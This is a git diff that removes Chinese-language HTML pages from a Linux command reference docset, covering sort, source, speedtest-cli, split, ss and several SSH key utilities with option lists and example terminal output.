--M, --month-sort               按照非月份、一月、十二月的顺序排序。
--h, --human-numeric-sort       根据存储容量排序(注意使用大写字母,例如:2K 1G)。
--n, --numeric-sort             根据数字排序。
--R, --random-sort              随机排序,但分组相同的行。
---random-source=FILE           从FILE中获取随机长度的字节。
--r, --reverse                  将结果倒序排列。
---sort=WORD                    根据WORD排序,其中: general-numeric 等价于 -g,human-numeric 等价于 -h,month 等价于 -M,numeric 等价于 -n,random 等价于 -R,version 等价于 -V。
--V, --version-sort             文本中(版本)数字的自然排序。
-
-

其他选项:

-
--batch-size=NMERGE                    一次合并最多NMERGE个输入;超过部分使用临时文件。
--c, --check, --check=diagnose-first    检查输入是否已排序,该操作不会执行排序。
--C, --check=quiet, --check=silent      类似于 -c 选项,但不输出第一个未排序的行。
---compress-program=PROG                使用PROG压缩临时文件;使用PROG -d解压缩。
---debug                                注释用于排序的行,发送可疑用法的警报到stderr。
---files0-from=F                        从文件F中读取以NUL结尾的所有文件名称;如果F是 - ,那么从标准输入中读取名字。
--k, --key=KEYDEF                       通过一个key排序;KEYDEF给出位置和类型。
--m, --merge                            合并已排序文件,之后不再排序。
--o, --output=FILE                      将结果写入FILE而不是标准输出。
--s, --stable                           通过禁用最后的比较来稳定排序。
--S, --buffer-size=SIZE                 使用SIZE作为内存缓存大小。
--t, --field-separator=SEP              使用SEP作为列的分隔符。
--T, --temporary-directory=DIR          使用DIR作为临时目录,而不是 $TMPDIR 或 /tmp;多次使用该选项指定多个临时目录。
---parallel=N                           将并发运行的排序数更改为N。
--u, --unique                           同时使用-c,严格检查排序;不同时使用-c,输出排序后去重的结果。
--z, --zero-terminated                  设置行终止符为NUL(空),而不是换行符。
---help                                 显示帮助信息并退出。
---version                              显示版本信息并退出。
-
-
-KEYDEF的格式为:F[.C][OPTS][,F[.C][OPTS]] ,表示开始到结束的位置。
-F表示列的编号
-C表示
-OPTS为[bdfgiMhnRrV]中的一到多个字符,用于覆盖当前排序选项。
-使用--debug选项可诊断出错误的用法。
-
-
-SIZE 可以有以下的乘法后缀:
-% 内存的1%;
-b 1;
-K 1024(默认);
-剩余的 M, G, T, P, E, Z, Y 可以类推出来。
-
-

参数

-

FILE(可选):要处理的文件,可以为任意数量。

-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-

sort将文件/文本的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码值进行比较,最后将他们按升序输出。

-
root@[mail text]# cat sort.txt
-aaa:10:1.1
-ccc:30:3.3
-ddd:40:4.4
-bbb:20:2.2
-eee:50:5.5
-eee:50:5.5
-
-[root@mail text]# sort sort.txt
-aaa:10:1.1
-bbb:20:2.2
-ccc:30:3.3
-ddd:40:4.4
-eee:50:5.5
-eee:50:5.5
-
-

忽略相同行使用-u选项或者uniq

-
[root@mail text]# cat sort.txt
-aaa:10:1.1
-ccc:30:3.3
-ddd:40:4.4
-bbb:20:2.2
-eee:50:5.5
-eee:50:5.5
-
-[root@mail text]# sort -u sort.txt
-aaa:10:1.1
-bbb:20:2.2
-ccc:30:3.3
-ddd:40:4.4
-eee:50:5.5
-
-[root@mail text]# uniq sort.txt
-aaa:10:1.1
-ccc:30:3.3
-ddd:40:4.4
-bbb:20:2.2
-eee:50:5.5
-
-

sort-n、-r、-k、-t选项的使用:

-
[root@mail text]# cat sort.txt
-AAA:BB:CC
-aaa:30:1.6
-ccc:50:3.3
-ddd:20:4.2
-bbb:10:2.5
-eee:40:5.4
-eee:60:5.1
-
-# 将BB列按照数字从小到大顺序排列:
-[root@mail text]# sort -nk 2 -t: sort.txt
-AAA:BB:CC
-bbb:10:2.5
-ddd:20:4.2
-aaa:30:1.6
-eee:40:5.4
-ccc:50:3.3
-eee:60:5.1
-
-# 将CC列数字从大到小顺序排列:
-# -n是按照数字大小排序,-r是以相反顺序,-k是指定需要排序的栏位,-t指定栏位分隔符为冒号
-[root@mail text]# sort -nrk 3 -t: sort.txt
-eee:40:5.4
-eee:60:5.1
-ddd:20:4.2
-ccc:50:3.3
-bbb:10:2.5
-aaa:30:1.6
-AAA:BB:CC
-
-

关于-k选项的解读和例子:

-

-k选项深度解读:

-
FStart.CStart Modifier,FEnd.CEnd Modifier
--------Start--------,-------End--------
- FStart.CStart 选项  ,  FEnd.CEnd 选项
-
-

这个语法格式可以被其中的逗号,分为两大部分,Start 部分和 End 部分。 -Start部分由三部分组成,其中的Modifier部分就是我们之前说过的选项部分; -我们重点说说Start部分的FStartC.StartC.Start是可以省略的,省略的话就表示从本域的开头部分开始。FStart.CStart,其中FStart就是表示使用的域,而CStart则表示在FStart域中从第几个字符开始算排序首字符。 -同理,在End部分中,你可以设定FEnd.CEnd,如果你省略.CEnd或将它设定为0,则表示结尾到本域的最后一个字符。

-

例子:从公司英文名称的第二个字母开始排序:

-
$ sort -t ' ' -k 1.2 facebook.txt
-baidu 100 5000
-sohu 100 4500
-google 110 5000
-guge 50 3000
-
-

解读:使用了-k 1.2,表示对第一个域的第二个字符开始到本域的最后一个字符为止的字符串进行排序。你会发现baidu因为第二个字母是a而名列榜首。sohu和google第二个字符都是o,但sohu的h在google的o前面,所以两者分别排在第二和第三。guge只能屈居第四了。

-

例子:只针对公司英文名称的第二个字母进行排序,如果相同的按照员工工资进行降序排序:

-
$ sort -t ' ' -k 1.2,1.2 -nrk 3,3 facebook.txt
-baidu 100 5000
-google 110 5000
-sohu 100 4500
-guge 50 3000
-
-

解读:由于只对第二个字母进行排序,所以我们使用了-k 1.2,1.2的表示方式,表示我们只对第二个字母进行排序(如果你问我使用-k 1.2怎么不行?当然不行,因为你省略了End部分,这就意味着你将对从第二个字母起到本域最后一个字符为止的字符串进行排序)。 -对员工工资进行排序,我们也使用了-k 3,3,这是最准确的表述,表示我们只对本域进行排序,因为如果你省略了后面的3,就变成了我们对第3个域开始到最后一个域位置的内容进行排序了。

-

注意

-
    -
  1. -

    关于-g和-n选项的区别:stackoverflow

    -
  2. -
  3. -

    关于这个复杂命令的学习,建议您阅读info文档及参考博客、问答网站等。

    -
  4. -
  5. -

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 shufinfo coreutils 'shuf invocation'

    -
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/source.html b/linux-command.docset/Contents/Resources/Documents/c/source.html deleted file mode 100644 index 55c5a73398..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/source.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - - - - - - source 命令,Linux source 命令详解:在当前Shell环境中从指定文件读取和执行命令。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

source

-

在当前Shell环境中从指定文件读取和执行命令。

-

概要

-

source filename [arguments]

-

主要用途

-
    -
  • 执行文件并从文件中加载变量及函数到执行环境
  • -
-

参数

-

filename:要执行的文件

-

arguments(可选):传递给文件的参数

-

返回值

-

source返回文件最后一个命令的返回值,如果文件不能读取则会失败

-

错误用法

-
    -
  • -

    文件在$PATH中找不到。

    -
  • -
  • -

    文件未给出。

    -
  • -
-

例子

-
    -
  • -

    在一些工具的执行过程中,会把环境变量设置以"export XXX=XXXXXX"或"declare XXX=XXXXXX"的形式导出到 -一个文件中,然后用source加载该文件内容到执行环境中。

    -
  • -
  • -

    读取和执行/root/.bash_profile文件。

    -
  • -
-
[root@localhost ~]# source ~/.bash_profile
-
-

Q&A

-

Q:sourcesh在执行文件方面有什么区别?

-

A:sh的执行是在子shell中,source会使得被执行文件的变量及函数加载进当前终端环境内(除去函数内local修饰的变量等);建议您参考export命令的 知识点 部分

-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看 help 命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/speedtest-cli.html b/linux-command.docset/Contents/Resources/Documents/c/speedtest-cli.html deleted file mode 100644 index 3c1d50eb92..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/speedtest-cli.html +++ /dev/null @@ -1,148 +0,0 @@ - - - - - - - - - - - speedtest-cli 命令,Linux speedtest-cli 命令详解:命令行下测试服务器外网速度 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

speedtest-cli

-

命令行下测试服务器外网速度

-

补充说明

-

speedtest-cli 是一个使用python编写的命令行脚本,通过调用speedtest.net测试上下行的接口来完成速度测试,最后我会测试运维生存时间所在服务器的外网速度。项目地址:https://github.com/sivel/speedtest-cli

-

安装speedtest-cli

-

speedtest-cli需要在python 2.4-3.4的环境下,安装方法都很简单,自己选择以下最适合你的一种。

-

pip方式

-
# pip install speedtest-cli
-
-

easy_install方式

-
# easy_install speedtest-cli
-
-

github+pip方式

-
# pip install git+https://github.com/sivel/speedtest-cli.git
-
-

或者

-
git clone https://github.com/sivel/speedtest-cli.git
-# python speedtest-cli/setup.py install
-
-

下载脚本方式

-
wget -O speedtest-cli https://raw.github.com/sivel/spe ... er/speedtest_cli.py
-# chmod +x speedtest-cli
-
-

或者

-
curl -o speedtest-cli https://raw.github.com/sivel/spe ... er/speedtest_cli.py
-# chmod +x speedtest-cli
-
-

直接下载脚本,给予执行权限即可。

-

用法

-
-h, --help       show this help message and exit
---share          分享你的网速,该命令会在speedtest网站上生成网速测试结果的图片。
---simple         Suppress verbose output, only show basic information
---list           根据距离显示speedtest.net的测试服务器列表。
---server=SERVER  指定列表中id的服务器来做测试。
---mini=MINI      URL of the Speedtest Mini server
---source=SOURCE  Source ip address to bind to
---version        Show the version number and exit
-
-

实例

-

列出所有在中国的测试服务器:

-
[root@li229-122 ~]# speedtest-cli --list | grep China
-1185) China Unicom (Changchun, China) [10534.35 km]
-3784) China Mobile (Urumqi, China) [10581.15 km]
-2667) Beijing Normal University (Beijing, China) [11117.03 km]
-2529) Beijing Normal University (Beijing, China) [11117.03 km]
-2816) Capital Online Data service (Beijing, China) [11117.03 km]
-4354) SXmobile (Taiyuan, China) [11383.17 km]
-3973) China Telecom (Lanzhou, China) [11615.43 km]
-3633) China Telecom (Shanghai, China) [11983.37 km]
-3927) China Mobile Jiangsu Co., Ltd. (Suzhou, China) [11989.27 km]
-2461) China Unicom (Chengdu, China) [12213.35 km]
-1028) Shepherd Software (Xiamen, China) [12785.57 km]
-1628) Xiamen Guangdian Xinxu (Xiamen, China) [12785.57 km]
-3891) GZinternet (Guangzhou, China) [13005.36 km]
-3871) SZWCDMA (Shenzhen, China) [13059.20 km]
-3819) SZU (Shenzhen, China) [13059.20 km]
-1536) STC (Hong Kong, China) [13088.37 km]
-1890) Telin (Hong Kong, China) [13088.37 km]
-
-

结果解释

-
3633) China Telecom (Shanghai, China) [11983.37 km]
-
-
3633: 服务器id
-china telecom:isp,这里是中国电信
-shanghai,china :服务器所在地址
-11983.37 km:两台服务器地理位置之间距离,我这台机器在美国,和上海相距11983.37公里,很远呐.
-
-

外网速度测试

-
[root@li229-122 ~]# speedtest-cli --server=3633 --share
-Retrieving speedtest.net configuration...
-Retrieving speedtest.net server list...
-Testing from Linode (173.255.219.122)...
-Hosted by China Telecom (Shanghai) [11983.37 km]: 23.603 ms
-Testing download speed........................................
-Download: 24.84 Mbit/s
-Testing upload speed..................................................
-Upload: 4.57 Mbit/s
-Share results: http://www.speedtest.net/result/3240988007.png
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/spell.html b/linux-command.docset/Contents/Resources/Documents/c/spell.html deleted file mode 100644 index 79b40f3ed0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/spell.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - - - spell 命令,Linux spell 命令详解:对文件进行拼写检查 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

spell

-

对文件进行拼写检查

-

补充说明

-

spell命令 对文件进行拼写检查,并把拼写错误的单词输出。

-

语法

-
spell(参数)
-
-

参数

-

文件:指定需要进行拼写检查的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/split.html b/linux-command.docset/Contents/Resources/Documents/c/split.html deleted file mode 100644 index 98b0667d88..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/split.html +++ /dev/null @@ -1,105 +0,0 @@ - - - - - - - - - - - split 命令,Linux split 命令详解:分割任意大小的文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

split

-

分割任意大小的文件

-

补充说明

-

split命令 可以将一个大文件分割成很多个小文件,有时需要将文件分割成更小的片段,比如为提高可读性,生成日志等。

-

选项

-
-b:值为每一输出档案的大小,单位为 byte。
--C:每一输出档中,单行的最大 byte 数。
--d:使用数字作为后缀。
--l:值为每一输出档的行数大小。
--a:指定后缀长度(默认为2)。
-
-

实例

-

生成一个大小为100KB的测试文件:

-
[root@localhost split]# dd if=/dev/zero bs=100k count=1 of=date.file
-1+0 records in
-1+0 records out
-102400 bytes (102 kB) copied, 0.00043 seconds, 238 MB/s
-
-

使用split命令将上面创建的date.file文件分割成大小为10KB的小文件:

-
[root@localhost split]# split -b 10k date.file 
-[root@localhost split]# ls
-date.file  xaa  xab  xac  xad  xae  xaf  xag  xah  xai  xaj
-
-

文件被分割成多个带有字母的后缀文件,如果想用数字后缀可使用-d参数,同时可以使用-a length来指定后缀的长度:

-
[root@localhost split]# split -b 10k date.file -d -a 3
-[root@localhost split]# ls
-date.file  x000  x001  x002  x003  x004  x005  x006  x007  x008  x009
-
-

为分割后的文件指定文件名的前缀:

-
[root@localhost split]# split -b 10k date.file -d -a 3 split_file
-[root@localhost split]# ls
-date.file  split_file000  split_file001  split_file002  split_file003  split_file004  split_file005  split_file006  split_file007  split_file008  split_file009
-
-

使用-l选项根据文件的行数来分割文件,例如把文件分割成每个包含10行的小文件:

-
split -l 10 date.file
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/squid.html b/linux-command.docset/Contents/Resources/Documents/c/squid.html deleted file mode 100644 index 68e3d9a0f6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/squid.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - squid 命令,Linux squid 命令详解:squid服务器守护进程 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

squid

-

squid服务器守护进程

-

补充说明

-

squid命令 高性能的Web客户端代理缓存服务器套件“squid”的服务器守护进程。

-

语法

-
squid(选项)
-
-

选项

-
-d:将指定调试等级的信息发送到标准错误设备;
--f:使用指定的配置文件。而不使用默认配置文件;
--k:向squid服务器发送指令;
--s:启用syslog日志;
--z:创建缓存目录;
--C:不捕获致命信号;
--D:不进行DNS参数测试;
--N:以非守护进程模式运行;
--X:强制进入完全调试模式。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/squidclient.html b/linux-command.docset/Contents/Resources/Documents/c/squidclient.html deleted file mode 100644 index 97a088d1c4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/squidclient.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - squidclient 命令,Linux squidclient 命令详解:squid服务器的客户端管理工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

squidclient

-

squid服务器的客户端管理工具

-

补充说明

-

squidclient命令 使用squid服务器的客户端管理工具,它可以查看squid服务器的详细运行信息和管理squid服务器。

-

语法

-
squidclient(选项)(参数)
-
-

选项

-
-a:不包含“accept:header”;
--r:强制缓存重新加载URL;
--s:安静模式,不输出信息到标准输出设备;
--h:从指定主机获取url
--l:指定一个本地ip地址进行绑定;
--p:端口号,默认为3128;
--m:指定发送请求的方法;
--u:代理认证用户名。
-
-

参数

-

URL:指定操作缓存中的URL。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ss.html b/linux-command.docset/Contents/Resources/Documents/c/ss.html deleted file mode 100644 index 0bbff37e55..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ss.html +++ /dev/null @@ -1,236 +0,0 @@ - - - - - - - - - - - ss 命令,Linux ss 命令详解:比 netstat 好用的socket统计信息,iproute2 包附带的另一个工具,允许你查询 socket 的有关统计信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ss

-

比 netstat 好用的socket统计信息,iproute2 包附带的另一个工具,允许你查询 socket 的有关统计信息

-

补充说明

-

ss命令 用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。

-

当服务器的socket连接数量变得非常大时,无论是使用netstat命令还是直接cat /proc/net/tcp,执行速度都会很慢。可能你不会有切身的感受,但请相信我,当服务器维持的连接达到上万个的时候,使用netstat等于浪费 生命,而用ss才是节省时间。

-

天下武功唯快不破。ss快的秘诀在于,它利用到了TCP协议栈中tcp_diag。tcp_diag是一个用于分析统计的模块,可以获得Linux 内核中第一手的信息,这就确保了ss的快捷高效。当然,如果你的系统中没有tcp_diag,ss也可以正常运行,只是效率会变得稍慢。

-

语法

-
ss [参数]
-ss [参数] [过滤]
-
-

选项

-
-h, --help      帮助信息
--V, --version   程序版本信息
--n, --numeric   不解析服务名称
--r, --resolve   解析主机名
--a, --all       显示所有套接字(sockets)
--l, --listening 显示监听状态的套接字(sockets)
--o, --options   显示计时器信息
--e, --extended  显示详细的套接字(sockets)信息
--m, --memory    显示套接字(socket)的内存使用情况
--p, --processes 显示使用套接字(socket)的进程
--i, --info      显示 TCP内部信息
--s, --summary   显示套接字(socket)使用概况
--4, --ipv4      仅显示IPv4的套接字(sockets)
--6, --ipv6      仅显示IPv6的套接字(sockets)
--0, --packet    显示 PACKET 套接字(socket)
--t, --tcp       仅显示 TCP套接字(sockets)
--u, --udp       仅显示 UCP套接字(sockets)
--d, --dccp      仅显示 DCCP套接字(sockets)
--w, --raw       仅显示 RAW套接字(sockets)
--x, --unix      仅显示 Unix套接字(sockets)
--f, --family=FAMILY  显示 FAMILY类型的套接字(sockets),FAMILY可选,支持  unix, inet, inet6, link, netlink
--A, --query=QUERY, --socket=QUERY
-      QUERY := {all|inet|tcp|udp|raw|unix|packet|netlink}[,QUERY]
--D, --diag=FILE     将原始TCP套接字(sockets)信息转储到文件
- -F, --filter=FILE  从文件中都去过滤器信息
-       FILTER := [ state TCP-STATE ] [ EXPRESSION ]
-
-

实例

-
ss -t -a    # 显示TCP连接
-ss -s       # 显示 Sockets 摘要
-ss -l       # 列出所有打开的网络连接端口
-ss -pl      # 查看进程使用的socket
-ss -lp | grep 3306  # 找出打开套接字/端口应用程序
-ss -u -a    显示所有UDP Sockets
-ss -o state established '( dport = :smtp or sport = :smtp )' # 显示所有状态为established的SMTP连接
-ss -o state established '( dport = :http or sport = :http )' # 显示所有状态为Established的HTTP连接
-ss -o state fin-wait-1 '( sport = :http or sport = :https )' dst 193.233.7/24  # 列举出处于 FIN-WAIT-1状态的源端口为 80或者 443,目标网络为 193.233.7/24所有 tcp套接字
-
-# ss 和 netstat 效率对比
-time netstat -at
-time ss
-
-# 匹配远程地址和端口号
-# ss dst ADDRESS_PATTERN
-ss dst 192.168.1.5
-ss dst 192.168.119.113:http
-ss dst 192.168.119.113:smtp
-ss dst 192.168.119.113:443
-
-# 匹配本地地址和端口号
-# ss src ADDRESS_PATTERN
-ss src 192.168.119.103
-ss src 192.168.119.103:http
-ss src 192.168.119.103:80
-ss src 192.168.119.103:smtp
-ss src 192.168.119.103:25
-
-

将本地或者远程端口和一个数比较

-
# ss dport OP PORT 远程端口和一个数比较;
-# ss sport OP PORT 本地端口和一个数比较
-# OP 可以代表以下任意一个:
-# <= or le : 小于或等于端口号
-# >= or ge : 大于或等于端口号
-# == or eq : 等于端口号
-# != or ne : 不等于端口号
-# < or gt : 小于端口号
-# > or lt : 大于端口号
-ss  sport = :http
-ss  dport = :http
-ss  dport \> :1024
-ss  sport \> :1024
-ss sport \< :32000
-ss  sport eq :22
-ss  dport != :22
-ss  state connected sport = :http
-ss \( sport = :http or sport = :https \)
-ss -o state fin-wait-1 \( sport = :http or sport = :https \) dst 192.168.1/24
-
-

用TCP 状态过滤Sockets

-
ss -4 state closing
-# ss -4 state FILTER-NAME-HERE
-# ss -6 state FILTER-NAME-HERE
-# FILTER-NAME-HERE 可以代表以下任何一个:
-# established、 syn-sent、 syn-recv、 fin-wait-1、 fin-wait-2、 time-wait、 closed、 close-wait、 last-ack、 listen、 closing、
-# all : 所有以上状态
-# connected : 除了listen and closed的所有状态
-# synchronized :所有已连接的状态除了syn-sent
-# bucket : 显示状态为maintained as minisockets,如:time-wait和syn-recv.
-# big : 和bucket相反.
-
-

显示ICP连接

-
[root@localhost ~]# ss -t -a
-State       Recv-Q Send-Q                            Local Address:Port                                Peer Address:Port
-LISTEN      0      0                                             *:3306                                           *:*
-LISTEN      0      0                                             *:http                                           *:*
-LISTEN      0      0                                             *:ssh                                            *:*
-LISTEN      0      0                                     127.0.0.1:smtp                                           *:*
-ESTAB       0      0                                112.124.15.130:42071                              42.156.166.25:http
-ESTAB       0      0                                112.124.15.130:ssh                              121.229.196.235:33398
-
-

显示 Sockets 摘要

-
[root@localhost ~]# ss -s
-Total: 172 (kernel 189)
-TCP:   10 (estab 2, closed 4, orphaned 0, synrecv 0, timewait 0/0), ports 5
-
-Transport Total     ip        IPv6
-*         189       -         -
-RAW       0         0         0
-UDP       5         5         0
-TCP       6         6         0
-INET      11        11        0
-FRAG      0         0         0
-
-

列出当前的established, closed, orphaned and waiting TCP sockets

-

列出所有打开的网络连接端口

-
[root@localhost ~]# ss -l
-Recv-Q Send-Q                                 Local Address:Port                                     Peer Address:Port
-0      0                                                  *:3306                                                *:*
-0      0                                                  *:http                                                *:*
-0      0                                                  *:ssh                                                 *:*
-0      0                                          127.0.0.1:smtp                                                *:*
-
-

查看进程使用的socket

-
[root@localhost ~]# ss -pl
-Recv-Q Send-Q                                          Local Address:Port                                              Peer Address:Port
-0      0                                                           *:3306                                                         *:*        users:(("mysqld",1718,10))
-0      0                                                           *:http                                                         *:*        users:(("nginx",13312,5),("nginx",13333,5))
-0      0                                                           *:ssh                                                          *:*        users:(("sshd",1379,3))
-0      0                                                   127.0.0.1:smtp                                                         *:*        us
-
-

找出打开套接字/端口应用程序

-
[root@localhost ~]# ss -pl | grep 3306
-0      0                            *:3306                          *:*        users:(("mysqld",1718,10))
-
-

显示所有UDP Sockets

-
[root@localhost ~]# ss -u -a
-State       Recv-Q Send-Q                                     Local Address:Port                                         Peer Address:Port
-UNCONN      0      0                                                      *:syslog                                                  *:*
-UNCONN      0      0                                         112.124.15.130:ntp                                                     *:*
-UNCONN      0      0                                            10.160.7.81:ntp                                                     *:*
-UNCONN      0      0                                              127.0.0.1:ntp                                                     *:*
-UNCONN      0      0                                                      *:ntp                                                     *:*
-
-

出所有端口为 22(ssh)的连接

-
[root@localhost ~]# ss state all sport = :ssh
-Netid State      Recv-Q Send-Q     Local Address:Port                      Peer Address:Port
-tcp   LISTEN     0      128                    *:ssh                                  *:*
-tcp   ESTAB      0      0          192.168.0.136:ssh                      192.168.0.102:46540
-tcp   LISTEN     0      128                   :::ssh                                 :::*
-
-

查看TCP的连接状态

-
[root@localhost ~]# ss  -tan|awk 'NR>1{++S[$1]}END{for (a in S) print a,S[a]}'
-LISTEN 7
-ESTAB 31
-TIME-WAIT 28
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ssh-add.html b/linux-command.docset/Contents/Resources/Documents/c/ssh-add.html deleted file mode 100644 index 413d6fc35d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ssh-add.html +++ /dev/null @@ -1,99 +0,0 @@ - - - - - - - - - - - ssh-add 命令,Linux ssh-add 命令详解:把专用密钥添加到ssh-agent的高速缓存中 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ssh-add

-

把专用密钥添加到ssh-agent的高速缓存中

-

补充说明

-

ssh-add命令 是把专用密钥添加到ssh-agent的高速缓存中。该命令位置在/usr/bin/ssh-add

-

语法

-
ssh-add [-cDdLlXx] [-t life] [file ...]
-ssh-add -s pkcs11
-ssh-add -e pkcs11
-
-

选项

-
-D:删除ssh-agent中的所有密钥.
--d:从ssh-agent中的删除密钥
--e pkcs11:删除PKCS#11共享库pkcs1提供的钥匙。
--s pkcs11:添加PKCS#11共享库pkcs1提供的钥匙。
--L:显示ssh-agent中的公钥
--l:显示ssh-agent中的密钥
--t life:对加载的密钥设置超时时间,超时ssh-agent将自动卸载密钥
--X:对ssh-agent进行解锁
--x:对ssh-agent进行加锁
-
-

实例

-

1、把专用密钥添加到 ssh-agent 的高速缓存中:

-
ssh-add ~/.ssh/id_dsa
-
-

2、从ssh-agent中删除密钥:

-
ssh-add -d ~/.ssh/id_xxx.pub
-
-

3、查看ssh-agent中的密钥:

-
ssh-add -l
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ssh-agent.html b/linux-command.docset/Contents/Resources/Documents/c/ssh-agent.html deleted file mode 100644 index 883e71d352..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ssh-agent.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - ssh-agent 命令,Linux ssh-agent 命令详解:ssh密钥管理器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ssh-agent

-

ssh密钥管理器

-

补充说明

-

ssh-agent命令 是一种控制用来保存公钥身份验证所使用的私钥的程序。ssh-agent在X会话或登录会话之初启动,所有其他窗口或程序则以客户端程序的身份启动并加入到ssh-agent程序中。通过使用环境变量,可定位代理并在登录到其他使用ssh机器上时使用代理自动进行身份验证。

-

其实ssh-agent就是一个密钥管理器,运行ssh-agent以后,使用ssh-add将私钥交给ssh-agent保管,其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程。

-

语法

-
ssh-agent [-c | -s] [-d] [-a bind_address] [-t life] [command [arg ...]]
-ssh-agent [-c | -s] -k
-
-

选项

-
-a bind_address:bind the agent to the UNIX-domain socket bind_address.
--c:生成C-shell风格的命令输出。
--d:调试模式。
--k:把ssh-agent进程杀掉。
--s:生成Bourne shell 风格的命令输出。
--t life:设置默认值添加到代理人的身份最大寿命。
-
-

实例

-

运行ssh-agent:

-
ssh-agent
-
-

运行ssh-agent,它会打印出来它使用的环境和变量。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ssh-copy-id.html b/linux-command.docset/Contents/Resources/Documents/c/ssh-copy-id.html deleted file mode 100644 index 896b61dadb..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ssh-copy-id.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - ssh-copy-id 命令,Linux ssh-copy-id 命令详解:把本地的ssh公钥文件安装到远程主机对应的账户下 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ssh-copy-id

-

把本地的ssh公钥文件安装到远程主机对应的账户下

-

补充说明

-

ssh-copy-id命令 可以把本地主机的公钥复制到远程主机的authorized_keys文件上,ssh-copy-id命令也会给远程主机的用户主目录(home)和~/.ssh, 和~/.ssh/authorized_keys设置合适的权限。

-

语法

-
ssh-copy-id [-i [identity_file]] [user@]machine
-
-

选项

-
-i:指定公钥文件
-
-

实例

-

1、把本地的ssh公钥文件安装到远程主机对应的账户下:

-
ssh-copy-id user@server
-ssh-copy-id -i ~/.ssh/id_rsa.pub user@server
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ssh-keygen.html b/linux-command.docset/Contents/Resources/Documents/c/ssh-keygen.html deleted file mode 100644 index d5c517e7db..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ssh-keygen.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - ssh-keygen 命令,Linux ssh-keygen 命令详解:为ssh生成、管理和转换认证密钥 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ssh-keygen

-

为ssh生成、管理和转换认证密钥

-

补充说明

-

ssh-keygen命令 用于为“ssh”生成、管理和转换认证密钥,它支持RSA和DSA两种认证密钥。

-

语法

-
ssh-keygen(选项)
-
-

选项

-
-b:指定密钥长度;
--e:读取openssh的私钥或者公钥文件;
--C:添加注释;
--f:指定用来保存密钥的文件名;
--i:读取未加密的ssh-v2兼容的私钥/公钥文件,然后在标准输出设备上显示openssh兼容的私钥/公钥;
--l:显示公钥文件的指纹数据;
--N:提供一个新密语;
--P:提供(旧)密语;
--q:静默模式;
--t:指定要创建的密钥类型。
-
- -
